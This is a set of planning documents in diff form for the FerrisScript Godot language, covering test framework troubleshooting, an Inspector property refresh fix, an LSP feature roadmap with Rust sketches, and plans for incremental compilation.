+3. Run `cargo test` locally
+4. Push - CI validates automatically
+
+### Updating Test Framework
+- All test logic in `crates/test_harness`
+- Versioned alongside compiler
+- Breaking changes require migration guide
+
+### Debugging Failed Tests
+```bash
+# Run specific test
+cargo test test_name
+
+# Run with verbose output
+RUST_LOG=debug cargo test
+
+# Run Godot tests with debugging
+godot --path godot_test --script res://test_runner.gd
+```

+
+## Appendix G: Troubleshooting Guide
+
+### Issue: "Test not discovered"
+
+**Symptoms**: Test file exists but not found by discovery engine
+
+**Causes & Fixes**:
+
+1. Missing required metadata fields
+   - **Fix**: Verify `TEST:`, `CATEGORY:`, `DESCRIPTION:`, `EXPECT:` are present
+2. File not in `/examples`
+   - **Fix**: Move file to `/examples` directory
+3. File extension is not `.ferris`
+   - **Fix**: Rename file to have `.ferris` extension
+
+### Issue: "Test times out"
+
+**Symptoms**: Test shows timeout status after X seconds
+
+**Causes & Fixes**:
+
+1. Infinite loop in test code
+   - **Fix**: Add exit condition or break statement
+2. Timeout too short for slow test
+   - **Fix**: Add `// TIMEOUT: 30.0` to increase limit
+3. Godot rendering bottleneck
+   - **Fix**: Run tests in headless mode (already default)
+
+### Issue: "Assertion failed but test passed"
+
+**Symptoms**: Test shows green checkmark despite wrong behavior
+
+**Causes & Fixes**:
+
+1. Assertion validation not implemented yet
+   - **Fix**: Phase 3 will add this (see Phase 3b tasks)
+2. Assertion syntax not recognized
+   - **Fix**: Check assertion format matches supported patterns
+3. Runtime state not exposed
+   - **Fix**: Ensure `get_variable()` and `get_emitted_signals()` are implemented
+
+### Issue: "LSP not showing test code lenses"
+
+**Symptoms**: No "Run Test" buttons appear in editor
+
+**Causes & Fixes**:
+
+1. LSP server not running
+   - **Fix**: Check VS Code output panel for LSP logs
+2. File not recognized as FerrisScript
+   - **Fix**: Verify file extension is `.ferris`
+3. Test metadata malformed
+   - **Fix**: Validate metadata syntax
+4. CodeLens provider not registered
+   - **Fix**: Restart VS Code, check extension is activated
+
+---
+
+**Ready for Implementation**: This plan is production-ready and addresses all issues identified in the feedback phase, including LSP integration requirements for v0.0.5.
+
+**Next Steps**:
+
+1. ✅ Review and approve this implementation plan
+2. ✅ Coordinate with LSP development team (parallel track)
+3. ✅ Create feature branch: `feature/consolidated-test-framework`
+4. ✅ Begin Phase 1: Test Harness Foundation
+5. ✅ Track progress against milestones in this document
+
+**Critical Dependencies**:
+
+- LSP server foundation must be ready before Phase 2.5
+- If LSP is delayed, ship test framework without editor integration in v0.0.5
+- Add LSP integration in v0.0.6 as enhancement

+# 🐛 Inspector Property Refresh Fix
+
+**Status**: 📋 Ready for Implementation  
+**Priority**: 🟢 Quick Win (1-2 hours)  
+**Phase**: 0.1.5 (can run in parallel with Phase 0.1)  
+**Delegation**: ✅ Background Agent Task  
+
+---
+
+## 📝 Problem Statement
+
+### User-Facing Issue
+
+When a `.ferris` script fails to compile due to type mismatches, the Godot Inspector continues to show stale exported properties from the previous successful compilation. This creates confusion because:
+
+1. **User sees outdated UI**: Inspector shows properties that no longer exist in the broken script
+2. **User assumes properties are valid**: Tries to modify properties that won't be used
+3. **User must manually reload scene**: Forces full scene reload to clear stale state
+4. **Poor developer experience**: Feels like a bug, not expected behavior
+
+### Current Behavior
+
+```
+1. Script compiles successfully → Inspector shows 3 properties
+2. User edits script → introduces type error
+3. Script fails to compile → Inspector STILL shows 3 properties
+4. User confused: "Why are these properties still here?"
+5. User forced to reload scene to clear Inspector
+```
+
+### Expected Behavior
+
+```
+1. Script compiles successfully → Inspector shows 3 properties
+2. User edits script → introduces type error
+3. Script fails to compile → Inspector CLEARS properties automatically
+4. User sees empty Inspector → understands script is broken
+5. User fixes error → properties reappear automatically
+```
+
+### Root Cause
+
+**Location**: `crates/godot_bind/src/lib.rs` (FerrisScriptRunner)  
+**Issue**: Compilation error path doesn't notify Godot Inspector to refresh
+
+```rust
+// Current implementation (simplified)
+impl IScriptExtension for FerrisScriptRunner {
+    fn reload(&mut self, keep_state: bool) -> bool {
+        match self.compile_and_update() {
+            Ok(_) => {
+                // ✅ Success path notifies Inspector
+                self.base_mut().notify_property_list_changed();
+                true
+            }
+            Err(e) => {
+                // ❌ Error path does NOT notify Inspector
+                godot_error!("Compilation failed: {}", e);
+                // Stale properties remain in Inspector!
+                false
+            }
+        }
+    }
+}
+```
+
+**Why this happens**:
+
+- `reload()` returns `false` on error, but doesn't clear state
+- Godot continues to use `cached_property_list` from previous successful compilation
+- Inspector UI never receives signal to refresh
+
+---
+
+## 🎯 Acceptance Criteria
+
+### Must Have
+
+- [ ] **AC-1**: Compilation error clears exported properties list
+- [ ] **AC-2**: Inspector UI updates immediately when compilation fails
+- [ ] **AC-3**: Inspector UI repopulates when compilation succeeds again
+- [ ] **AC-4**: Fix works with Godot hot-reload (no full scene reload required)
+- [ ] **AC-5**: Fix doesn't break existing successful compilation behavior
+
+### Should Have
+
+- [ ] **AC-6**: Documented in code comments why `notify_property_list_changed()` is called on error
+- [ ] **AC-7**: TROUBLESHOOTING.md updated to mark issue as "Fixed in v0.0.5"
+
+### Won't Have (Out of Scope)
+
+- ❌ Partial property updates (e.g., only hide broken properties)
+- ❌ Error tooltips in Inspector (requires more invasive Godot changes)
+- ❌ Property diffing (tracking which properties changed)
+
+---
+
+## 🔧 Implementation Tasks
+
+### Task 1: Add `clear_on_error()` Method
+
+**File**: `crates/godot_bind/src/lib.rs`  
+**Estimated Time**: 15 minutes
+
+**Implementation**:
+
+```rust
+impl FerrisScriptRunner {
+    /// Clears all script state and notifies Godot Inspector to refresh.
+    /// Called when compilation fails to prevent stale properties from displaying.
+    fn clear_on_error(&mut self) {
+        // Clear internal state
+        self.compiled_ast = None;
+        self.script_source = None;
+        self.exported_properties.clear();
+        
+        // Notify Godot Inspector to refresh UI
+        // This ensures stale properties don't linger in the Inspector
+        self.base_mut().notify_property_list_changed();
+        
+        godot_print!("Cleared script state due to compilation error");
+    }
+}
+```
+
+**Why this works**:
+
+- `notify_property_list_changed()` triggers Godot to call `get_property_list()` again
+- Empty `exported_properties` vec results in empty Inspector
+- Godot UI updates immediately without manual scene reload
+
+---
+
+### Task 2: Call `clear_on_error()` in Error Path
+
+**File**: `crates/godot_bind/src/lib.rs`  
+**Estimated Time**: 10 minutes
+
+**Current Code** (approximate location):
+
+```rust
+fn reload(&mut self, keep_state: bool) -> bool {
+    match self.compile_and_update() {
+        Ok(_) => {
+            self.base_mut().notify_property_list_changed();
+            true
+        }
+        Err(e) => {
+            godot_error!("Compilation failed: {}", e);
+            false  // ❌ Doesn't clear state
+        }
+    }
+}
+```
+
+**Updated Code**:
+
+```rust
+fn reload(&mut self, keep_state: bool) -> bool {
+    match self.compile_and_update() {
+        Ok(_) => {
+            self.base_mut().notify_property_list_changed();
+            true
+        }
+        Err(e) => {
+            godot_error!("Compilation failed: {}", e);
+            self.clear_on_error();  // ✅ Clear stale state
+            false
+        }
+    }
+}
+```
+
+**Edge Cases to Handle**:
+
+- First compilation failure (no previous state to clear) ✅ Works
+- Rapid edits with alternating success/failure ✅ Works (each reload clears or populates)
+- Multiple scripts in same scene ✅ Works (per-instance state)
+
+---
+
+### Task 3: Test Manually in Godot
+
+**Estimated Time**: 20 minutes
+
+**Test Procedure**:
+
+1. **Setup**:
+   - Open Godot project with `.ferris` script attached to node
+   - Verify script compiles successfully
+   - Verify Inspector shows exported properties
+
+2. **Introduce Error**:
+   - Edit `.ferris` script to add type mismatch (e.g., `let x: int = "string"`)
+   - Save file
+   - **Expected**: Inspector clears properties immediately
+
+3. **Fix Error**:
+   - Restore correct type (e.g., `let x: int = 42`)
+   - Save file
+   - **Expected**: Inspector repopulates with properties
+
+4. **Rapid Edits**:
+   - Toggle between valid and invalid script states quickly
+   - **Expected**: Inspector always reflects current compilation state
+
+5. **Multiple Scripts**:
+   - Add second `.ferris` script to different node
+   - Break one script, keep other valid
+   - **Expected**: Only broken script clears its Inspector properties
+
+**Success Criteria**:
+
+- No stale properties visible in Inspector after compilation error
+- No full scene reload required to see property changes
+- No errors in Godot console during test
+
+---
+
+### Task 4: Add Unit Test (Optional)
+
+**File**: `crates/godot_bind/src/lib.rs` (in-module test)  
+**Estimated Time**: 15 minutes
+
+```rust
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn test_clear_on_error_empties_properties() {
+        // This is a pseudo-test since we can't easily mock Godot environment
+        // Real testing happens manually in Godot
+        
+        // What we'd verify if we had mocking:
+        // 1. clear_on_error() empties exported_properties vec
+        // 2. clear_on_error() calls notify_property_list_changed()
+        // 3. reload() calls clear_on_error() on Err path
+    }
+}
+```
+
+**Note**: Full test coverage requires Godot runtime (integration test). This is acceptable for a 2-hour fix.
+
+---
+
+### Task 5: Update Documentation
+
+**File**: `docs/TROUBLESHOOTING.md`  
+**Estimated Time**: 10 minutes
+
+**Current Entry**:
+
+```markdown
+### Inspector properties not updating after script changes
+
+**Status**: Known issue in v0.0.4  
+**Workaround**: Reload scene (Scene → Reload Saved Scene)  
+**Root Cause**: Godot caches property list, not refreshed on compilation error
+```
+
+**Updated Entry**:
+
+```markdown
+### Inspector properties not updating after script changes
+
+**Status**: ✅ Fixed in v0.0.5  
+**Solution**: Compilation errors now automatically clear Inspector properties  
+**Previous Workaround** (v0.0.4 only): Reload scene (Scene → Reload Saved Scene)  
+**Implementation**: See [INSPECTOR_PROPERTY_FIX.md](planning/v0.0.5/INSPECTOR_PROPERTY_FIX.md)
+```
+
+---
+
+## 📊 Testing Strategy
+
+### Manual Testing Checklist
+
+- [ ] **Test 1**: Properties clear on first compilation error
+- [ ] **Test 2**: Properties repopulate on successful recompilation
+- [ ] **Test 3**: Rapid edits don't cause Inspector flickering
+- [ ] **Test 4**: Multiple scripts in same scene behave independently
+- [ ] **Test 5**: No Godot console errors during property refresh
+- [ ] **Test 6**: Hot-reload works (no full editor restart required)
+
+### Regression Testing
+
+**Verify existing behavior still works**:
+
+- [ ] Successful compilation still shows properties

+Excellent question! LSP is **the missing piece** that transforms FerrisScript from "static types for safety" to "static types for **developer experience**". Let me break down how LSP amplifies your type safety philosophy.
+
+## 📝 Decision Log (v0.0.5 Planning)
+
+**Date**: October 13, 2025
+
+### Critical Scope Decisions (All Option A Chosen)
+
+#### Decision 1: Compiler Prerequisites Timing
+
+**Question**: When to implement compiler prerequisites (spans, symbol table)?
+
+**Options**:
+
+- **A**: Ship v0.0.5 with compiler prerequisites (+1 week)
+- B: Defer to v0.1.0 (ship test framework in v0.0.5, add compiler later)
+
+**Chosen**: **Option A**
+
+**Rationale**:
+
+- LSP fundamentally requires spans for error reporting
+- Symbol table is blocking for any LSP navigation features
+- Better to pay the cost once upfront than refactor later
+- Establishes solid foundation for v0.1.0 LSP expansion
+
+---
+
+#### Decision 2: LSP Test Integration Scope
+
+**Question**: How much LSP integration in v0.0.5?
+
+**Options**:
+
+- **A**: Full LSP test integration (CodeLens, run test, status cache)
+- B: Defer LSP test integration to v0.1.0
+
+**Chosen**: **Option A**
+
+**Rationale**:
+
+- Validates LSP infrastructure works end-to-end
+- Provides immediate developer value (run tests from editor)
+- Lower risk than full diagnostics (smaller, well-defined scope)
+- Tests are self-contained and easier to implement
+
+---
+
+#### Decision 3: Incremental Compilation Timing
+
+**Question**: When to implement incremental compilation?
+
+**Options**:
+
+- **A**: Add incremental compilation to v0.0.5 (+2-3 weeks)
+- B: Defer to v0.1.0+ (ship without caching, add later)
+
+**Chosen**: **Option A**
+
+**Rationale**:
+
+- LSP requires fast recompilation (<100ms) for good UX
+- Full recompilation on every keystroke is too slow (150ms+)
+- Incremental compilation is architectural - hard to bolt on later
+- 5-10x speedup is worth the upfront investment
+
+---
+
+### Timeline Impact
+
+**Original Plan**: 3-4 weeks
+
+- Test framework: 2 weeks
+- Basic LSP diagnostics: 1-2 weeks
+
+**Updated Plan**: 6-7 weeks
+
+- Compiler prerequisites: +1 week (Decision 1)
+- LSP test integration: already planned (Decision 2)
+- Incremental compilation: +2-3 weeks (Decision 3)
+
+**Total Impact**: +3-4 weeks
+
+---
+
+### De-Scoping Strategy (If Needed)
+
+**Decision Point**: End of Week 3 (after compiler prerequisites)
+
+**Priority 1 (Must Keep)**:
+
+- Source spans in AST
+- Symbol table extraction
+- Basic LSP diagnostics
+- Test framework foundation
+
+**Priority 2 (Defer to v0.0.6 if behind schedule)**:
+
+- Incremental compilation (fallback: always recompile)
+- LSP test integration (ship test framework standalone)
+
+**Priority 3 (Defer to v0.1.0)**:
+
+- Advanced caching strategies
+- Dependency graph optimizations
+
+---
+
+## 🎯 LSP: The Type Safety UX Layer
+
+### The Current Gap
+
+**Right now**:
+
+```
+FerrisScript Editor → Save → Compile → See Errors
+     (VS Code)              (cargo)     (terminal)
+```
+
+**With LSP**:
+
+```
+FerrisScript Editor → Real-time feedback as you type
+     (VS Code)        ← (LSP shows errors, completions, hints)
+```
+
+LSP makes your **compile-time type safety visible instantly** while coding.
+
+## 🔥 How LSP Supercharges Type Safety
+
+### 1. **Instant Error Feedback** (Red Squiggles)
+
+**Without LSP** (current):
+
+```rust
+// player.ferris
+let mut health: i32 = 100;
+health = "low";  // Looks fine until you compile
+```
+
+Save → Compile → "Error on line 2" → Fix → Repeat
+
+**With LSP**:
+
+```rust
+// player.ferris
+let mut health: i32 = 100;
+health = "low";  // Red squiggle appears instantly
+         ~~~~~ 
+         E201: Type mismatch - expected i32, found String
+```
+
+No compilation needed. Error appears **as you type**.
+
+### 2. **Type-Aware Autocomplete** (IntelliSense)
+
+**Without LSP**:
+
+```rust
+fn _process(delta: f32) {
+    self.pos|  // You type "pos", hit Ctrl+Space
+               // VS Code shows generic completions (position, possible, etc.)
+}
+```
+
+**With LSP**:
+
+```rust
+fn _process(delta: f32) {
+    self.pos|  // You type "pos", LSP shows:
+               // • position: Vector2  ← Type known from Node2D
+               // • (filtered to relevant properties only)
+}
+```
+
+LSP **knows** `self` is a `Node2D`, so it only shows valid properties.
+
+### 3. **Go-to-Definition** (Navigation)
+
+**Current**:
+
+```rust
+// enemy.ferris
+let player_health = get_health();  // Where is get_health defined?
+                    ~~~~~~~~~~~
+                    // Manual search through files
+```
+
+**With LSP**:
+
+```rust
+// enemy.ferris
+let player_health = get_health();  // Ctrl+Click or F12
+                    ~~~~~~~~~~~
+                    // Jump to: player.ferris, line 23
+```
+
+LSP **tracks** function definitions across files.
+
+### 4. **Hover Documentation** (Type Inspection)
+
+**Current**:
+
+```rust
+fn take_damage(amount: f32) {
+    health -= amount;  // What type is health? Open another file to check
+}
+```
+
+**With LSP**:
+
+```rust
+fn take_damage(amount: f32) {
+    health -= amount;  // Hover over "health"
+    ~~~~~~
+    Tooltip: let mut health: i32 = 100
+             Declared in: line 5
+             Mutable: yes
+}
+```
+
+LSP shows **type information** without leaving the editor.
+
+### 5. **Rename Refactoring** (Safe Changes)
+
+**Current**:
+
+```rust
+// Rename "health" to "hp"
+// 1. Find all files manually
+// 2. Replace text (hope you don't miss any)
+// 3. Compile to check if you broke anything
+```
+
+**With LSP**:
+
+```rust
+// Right-click "health" → Rename Symbol
+// LSP finds ALL references across ALL files
+// Renames safely with preview
+// Type checker validates no errors
+```
+
+LSP makes **type-safe refactoring** effortless.
+
+### 6. **Parameter Hints** (Function Signatures)
+
+**Current**:
+
+```rust
+move_to(100.0, 200.0);  // Which parameter is X? Which is Y?
+        ~~~~~ ~~~~~
+```
+
+**With LSP**:
+
+```rust
+move_to(100.0, 200.0);
+        ↓      ↓
+        x: f32 y: f32  // Parameter names shown inline
+```
+
+LSP shows **function signatures** as you type.

+### Key Components
+
+#### 1. **LSP Server** (`crates/lsp/src/lib.rs`)
+
+```rust
+use tower_lsp::*;
+
+#[tower_lsp::async_trait]
+impl LanguageServer for FerrisScriptServer {
+    async fn initialize(&self, params: InitializeParams) -> Result<InitializeResult> {
+        Ok(InitializeResult {
+            capabilities: ServerCapabilities {
+                text_document_sync: Some(TextDocumentSyncCapability::Kind(
+                    TextDocumentSyncKind::INCREMENTAL
+                )),
+                completion_provider: Some(CompletionOptions::default()),
+                hover_provider: Some(HoverProviderCapability::Simple(true)),
+                definition_provider: Some(OneOf::Left(true)),
+                references_provider: Some(OneOf::Left(true)),
+                rename_provider: Some(OneOf::Left(true)),
+                // ...
+            },
+            // ...
+        })
+    }
+
+    async fn did_change(&self, params: DidChangeTextDocumentParams) {
+        // Incrementally recompile on each keystroke
+        let uri = params.text_document.uri;
+        let changes = params.content_changes;
+        
+        self.update_document(&uri, changes).await;
+        self.publish_diagnostics(&uri).await;
+    }
+
+    async fn completion(&self, params: CompletionParams) -> Result<Option<CompletionResponse>> {
+        let uri = &params.text_document_position.text_document.uri;
+        let position = params.text_document_position.position;
+        
+        // Use type checker to find valid completions at cursor
+        let completions = self.get_completions_at_position(uri, position).await;
+        Ok(Some(CompletionResponse::Array(completions)))
+    }
+
+    async fn goto_definition(&self, params: GotoDefinitionParams) -> Result<Option<GotoDefinitionResponse>> {
+        // Use symbol index to find definition location
+        // ...
+    }
+
+    // ... more handlers
+}
+```
+
+#### 2. **Document Manager** (Tracks Open Files)
+
+```rust
+struct DocumentManager {
+    // Cache of open documents
+    documents: HashMap<Url, Document>,
+}
+
+struct Document {
+    text: String,
+    version: i32,
+    ast: Option<ast::Program>,  // Parsed AST
+    type_info: Option<TypeInfo>, // Type checker output
+    symbols: Vec<Symbol>,        // Function/var definitions
+}
+
+impl DocumentManager {
+    fn update(&mut self, uri: &Url, changes: Vec<TextDocumentContentChangeEvent>) {
+        let doc = self.documents.get_mut(uri).unwrap();
+        
+        // Apply incremental changes
+        for change in changes {
+            apply_change(&mut doc.text, change);
+        }
+        
+        // Recompile incrementally
+        doc.ast = Some(compile(&doc.text).ok()?);
+        doc.type_info = Some(check_types(&doc.ast?)?);
+        doc.symbols = extract_symbols(&doc.ast?);
+    }
+}
+```
+
+#### 3. **Symbol Index** (Find Definitions)
+
+```rust
+struct SymbolIndex {
+    // Map symbol name → location
+    symbols: HashMap<String, Vec<Location>>,
+}
+
+impl SymbolIndex {
+    fn find_definition(&self, symbol: &str) -> Option<Location> {
+        self.symbols.get(symbol)?.first().cloned()
+    }
+    
+    fn find_references(&self, symbol: &str) -> Vec<Location> {
+        // Find all uses of symbol across files
+        // ...
+    }
+}
+
+#[derive(Debug, Clone)]
+struct Location {
+    uri: Url,
+    range: Range,  // Line/column span
+}
+```
+
+#### 4. **Diagnostics Engine** (Show Errors)
+
+```rust
+async fn publish_diagnostics(&self, uri: &Url) {
+    let doc = self.documents.get(uri).unwrap();
+    
+    let diagnostics = match &doc.type_info {
+        Some(type_info) => {
+            type_info.errors.iter().map(|err| Diagnostic {
+                range: err.span.to_lsp_range(),
+                severity: Some(DiagnosticSeverity::ERROR),
+                code: Some(NumberOrString::String(err.code.clone())),
+                message: err.message.clone(),
+                // ...
+            }).collect()
+        }
+        None => vec![],
+    };
+    
+    self.client.publish_diagnostics(uri.clone(), diagnostics, None).await;
+}
+```
+
+## 🎯 LSP Features Priority for FerrisScript
+
+### Phase 0: Test-Specific LSP (v0.0.5) 🆕 UPDATED
+
+**Goal**: LSP integration for test framework
+
+**Features**:
+
+- ✅ Test discovery via LSP (`ferrisscript/documentTests`)
+- ✅ Run single test via CodeLens ("Run Test" button)
+- ✅ Test status indicators (✅/❌/⏱️)
+- ✅ Test result caching
+- ✅ Real-time test status updates
+
+**Implementation**: ~1-2 weeks (Week 5 of v0.0.5)
+
+**Scope**: LSP features are **test-specific only** in v0.0.5. General LSP features (diagnostics for all code, autocomplete, etc.) come in v0.1.0.
+
+**Why Test-Specific First?**:
+
+- Validates LSP infrastructure works end-to-end
+- Provides immediate developer value (run tests from editor)
+- Lower risk than full diagnostics (smaller scope)
+- Tests are well-defined and self-contained
+
+---
+
+### Phase 1: Core Diagnostics (v0.1.0) - UPDATED
+
+**Goal**: Red squiggles for type errors in all code
+
+**Features**:
+
+- ✅ Real-time compilation on file changes (using Phase 0.3 incremental compiler)
+- ✅ Publish diagnostics (errors/warnings)
+- ✅ Error code links (E201 → docs)
+- ✅ Performance: <100ms for typical edits (cache hit)
+
+**Implementation**: ~2 weeks
+
+**Dependencies**: Requires v0.0.5 compiler prerequisites (spans, symbol table, incremental compilation)
+
+**Note**: This expands the test-specific diagnostics from v0.0.5 to all FerrisScript code.
+
+---
+
+### Phase 2: Navigation (v0.1.1)
+
+**Goal**: Jump to definitions
+
+**Features**:
+
+- ✅ Go-to-definition (Ctrl+Click) - uses Phase 0.2 symbol table
+- ✅ Find references (Shift+F12) - uses Phase 0.2 symbol table
+- ✅ Hover tooltips (type information) - uses Phase 0.1 spans + Phase 0.2 symbol table
+
+**Implementation**: ~2 weeks
+
+**Dependencies**: v0.0.5 Phase 0.1 (spans) and Phase 0.2 (symbol table)
+
+---
+
+### Phase 3: Refactoring (v0.1.2)
+
+**Goal**: Safe symbol renaming
+
+**Features**:
+
+- ✅ Rename symbol (F2)
+- ✅ Document symbols (Ctrl+Shift+O)
+- ✅ Workspace symbols (Ctrl+T)
+
+**Implementation**: ~1 week
+
+**Dependencies**: v0.1.1 (navigation, symbol index)
+
+---
+
+### Phase 4: IntelliSense (v0.1.3)
+
+**Goal**: Smart autocomplete
+
+**Features**:
+
+- ✅ Context-aware completions (uses Phase 0.2 symbol table)
+- ✅ Parameter hints (Ctrl+Shift+Space)
+- ✅ Signature help
+
+**Implementation**: ~2 weeks
+
+**Dependencies**: v0.1.1 (navigation), v0.0.5 Phase 0.2 (symbol table)
+
+---
+
+### Phase 5: Advanced (v0.2.0+)
+
+**Features**:
+
+- ✅ Code actions (quick fixes)
+- ✅ Inlay hints (inline type annotations)
+- ✅ Semantic highlighting
+- ✅ Code folding
+
+**Dependencies**: v0.1.3 (full IntelliSense)
+
+## � Incremental Compilation Architecture (v0.0.5 Phase 0.3)
+
+### Why Incremental Compilation is Critical for LSP
+
+**Problem**: Full recompilation on every keystroke is too slow for LSP.
+
+**Example**:
+
+```rust
+// player.ferris (500 lines)
+let mut health: i32 = 100;
+health = "low";  // User types this
+                 // ← LSP needs to show error in <100ms
+```
+
+**Without Incremental Compilation**:
+
+- Parse entire 500-line file (~50ms)
+- Type-check entire file (~100ms)
+- **Total**: 150ms+ per keystroke ❌
+
+**With Incremental Compilation**:
+
+- Hash unchanged regions (cached) (~5ms)
+- Parse only changed function (~10ms)
+- Type-check only affected scope (~20ms)
+- **Total**: 35ms per keystroke ✅
+

+
+### Implementation Strategy

+
+### Performance Targets
+
+| Scenario | Target Latency | Acceptable Latency | Cache Hit Rate |
+|----------|----------------|-------------------|----------------|
+| Single-line edit | <50ms | <100ms | >95% |
+| Function-level change | <100ms | <200ms | >80% |
+| Multi-file refactor | <500ms | <1000ms | >60% |
+| Full workspace recompile | <2000ms | <5000ms | N/A |
+
+---
+
+### Cache Invalidation Strategy
+
+**When to invalidate**:
+
+1. **File content changes** (hash mismatch)
+   - Hash source on every edit
+   - Compare with cached hash
+   - Invalidate if different
+
+2. **Imported file changes** (dependency invalidation)
+   - Track import statements in AST
+   - Build dependency graph
+   - Invalidate transitively when upstream changes
+
+3. **Type definitions change** (transitive invalidation)
+   - If function signature changes, invalidate callers
+   - If struct fields change, invalidate accessors
+   - Uses symbol table from Phase 0.2
+
+4. **Compiler version changes** (force full recompile)
+   - Store compiler version in cache
+   - Invalidate all caches on version mismatch
+
+**Cache size limits**:
+
+- **Memory cache**: Max 100MB (≈200 cached ASTs for typical files)
+- **Disk cache**: Max 1GB (for persistent caching across restarts)
+- **Eviction policy**: LRU (Least Recently Used)

+
+## �🚀 Why LSP is Critical for FerrisScript's Philosophy
+
+### 1. **Closes the Feedback Loop**
+
+```
+Without LSP:  Write → Save → Compile → Read Error → Fix  (30+ seconds)
+With LSP:     Write → See Error Instantly → Fix           (<1 second)
+```
+
+LSP makes **type safety feel instant**, not batched.
+
+### 2. **Makes Types Visible**
+
+Types are **hidden** in the code without LSP:
+
+```rust
+fn calculate(a, b) -> ? {  // What types are these?
+    return a + b;
+}
+```
+
+LSP makes types **explicit** via hover/hints:
+
+```rust
+fn calculate(a: f32, b: f32) -> f32 {
+    //         ↑ Hover: "a: f32"
+    return a + b;
+}
+```
+
+### 3. **Enables "Type-Driven Development"**
+
+With LSP, you can:
+
+1. Write function signature first
+2. Let LSP show required types
+3. Fill in implementation guided by type errors
+4. Types guide your coding flow
+
+**Example**:
+
+```rust
+// Step 1: Write signature
+fn move_player(direction: Vector2) {
+    // Step 2: Start typing, LSP suggests:
+    self.position += direction;  // LSP knows += works on Vector2
+}
+```
+
+### 4. **Marketing Advantage**
+
+**GDScript's advantage**: "Great IDE support built-in"
+
+**FerrisScript's answer with LSP**: "Better IDE support **because of** static types"
+
+| Feature | FerrisScript + LSP | GDScript |
+|---------|-------------------|----------|
+| Error Detection | Instant (type-aware) ✅ | After running ⚠️ |
+| Autocomplete | Type-filtered ✅ | Generic ⚠️ |
+| Refactoring | Safe (type-checked) ✅ | Text-based ⚠️ |
+| Navigation | Precise (symbol-based) ✅ | Search-based ⚠️ |
+
+## 📋 Recommended Roadmap
+
+### v0.0.5 (Current Release) - UPDATED
+
+**Focus**: LSP Foundation + Test Framework + Incremental Compilation

+**Estimated Premium Requests**: 20-25 (was 11-16)
+
+**Decision Rationale**:
+
+- Chose Option A: Ship v0.0.5 with full compiler prerequisites
+- Chose Option A: Full LSP test integration (not deferred)
+- Chose Option A: Incremental compilation in v0.0.5 (not v0.1.0+)
+
+---
+
+### v0.1.0 (LSP Core Features) - UPDATED
+
+**Focus**: Expand LSP beyond test integration to general coding features
+
+**Timeline**: 3-4 weeks
+
+**Features**:
+
+- [ ] Real-time diagnostics for all code (not just tests)
+- [ ] Hover tooltips (type information, documentation)
+- [ ] Document symbols (outline view, Ctrl+Shift+O)
+- [ ] Basic autocomplete (context-aware completions)
+
+**Note**: v0.0.5 already includes LSP test integration + compiler prerequisites, so v0.1.0 expands LSP to general coding features.
+
+**Dependencies**: v0.0.5 compiler prerequisites (spans, symbol table, incremental compilation)
+
+---
+
+### v0.1.x (LSP Navigation & Refactoring)

+- [ ] Find references (Shift+F12)
+- [ ] Rename symbol (F2)
+- [ ] Workspace symbols (Ctrl+T)
+
+**Dependencies**: v0.1.0 (hover, autocomplete, symbols)
+
+## 🎯 TL;DR: LSP Makes Type Safety **Feel Good**
+
+**Without LSP**: Type safety is a **compile-time batch process**
+
+- Write code → Save → Compile → Read errors → Fix → Repeat
+
+**With LSP**: Type safety is a **real-time conversation**
+
+- Type character → See error → Fix immediately → Move on
+
+**LSP transforms**:
+
+- ❌ "Type errors are annoying compiler messages"
+- ✅ "Type errors are helpful real-time guidance"
+
+**For FerrisScript specifically**:
+
+- Your static types are **already the foundation** for great LSP
+- LSP makes your type safety **visible and interactive**
+- This is where FerrisScript **surpasses GDScript** in DX
+
+---
+
+## 📊 v0.0.5 Implementation Summary
+
+**Timeline**: 6-7 weeks (was 2-3 weeks)
+
+**Scope** (Option A decisions):
+
+- ✅ Compiler prerequisites (spans, symbol table, incremental compilation) - Weeks 1-3
+- ✅ Test framework with LSP integration - Weeks 4-5
+- ✅ Godot test runner and CI - Weeks 6-7
+
+**v0.0.5 Delivers**:
+
+- LSP test integration (CodeLens, run test, status indicators)
+- Consolidated test framework (single source of truth in `/examples`)
+- Incremental compilation foundation (<100ms for typical edits)

+
+## 🎯 Problem Statement
+
+### Current Pain Points
+
+1. **No Real-Time Feedback**: Developers must compile manually to see type errors
+   - Write code → Save → Run `cargo build` → Read terminal output → Fix
+   - Feedback loop takes 30+ seconds per iteration
+   - Type safety feels like a burden, not a benefit
+
+2. **Fragmented Test Infrastructure**: Tests duplicated between `/examples` and `/godot_test/scripts`
+   - Manual test registration required
+   - No automated test discovery
+   - Platform-specific failures (Windows symlinks)
+   - CI doesn't catch all issues
+
+3. **Slow Compilation for LSP**: Full recompilation on every keystroke
+   - 150ms+ per edit is too slow for good editor experience
+   - No caching or incremental compilation
+   - LSP would feel sluggish and unresponsive
+
+4. **Missing LSP Foundation**: Compiler lacks infrastructure for editor integration
+   - No source span tracking (can't map errors to exact locations)
+   - No symbol table (can't implement go-to-definition)
+   - No incremental compilation (can't respond fast enough)
+
+### Impact on Adoption
+
+- **Developer Experience**: Static types without LSP = "annoying compile errors"
+- **Competitive Position**: GDScript has better IDE support despite dynamic typing
+- **Testing Friction**: Hard to add new tests, easy to break existing ones
+- **Iteration Speed**: Slow feedback loops discourage experimentation
+
+---
+
+## 💡 Solution Overview
+
+### What We're Building
+
+**v0.0.5 transforms FerrisScript from "compile-time safety" to "real-time developer experience"**
+
+#### Three Pillars
+
+1. **Compiler Prerequisites** (Weeks 1-3)
+   - Source spans: Map every AST node to exact source location
+   - Symbol table: Track all variables, functions, types across files
+   - Incremental compilation: Cache ASTs, recompile only changed regions
+   - **Goal**: Foundation for fast, accurate LSP
+
+2. **Test Framework Consolidation** (Weeks 4-7)
+   - Single source of truth: All tests in `/examples` with metadata
+   - Automated discovery: No manual registration
+   - LSP integration: Run tests from editor with "Run Test" button
+   - CI automation: JSON output for automated parsing
+   - **Goal**: Zero-friction testing for contributors
+
+3. **LSP Test Integration** (Week 5)
+   - Custom LSP protocol: `ferrisscript/documentTests`, `ferrisscript/runTest`
+   - CodeLens provider: Visual "Run Test" buttons in editor
+   - Real-time status: ✅/❌/⏱️ indicators
+   - Test result cache: Fast status updates
+   - **Goal**: Validate LSP infrastructure with low-risk scope
+
+### Why This Order?
+
+1. **Compiler first**: LSP needs spans, symbol table, incremental compilation
+2. **Test framework second**: Provides structured test cases for LSP validation
+3. **LSP test integration third**: Proves LSP works end-to-end before full diagnostics
+4. **General LSP later** (v0.1.0): Expand to all code once foundation is solid

+
+## 📦 Phase Breakdown
+
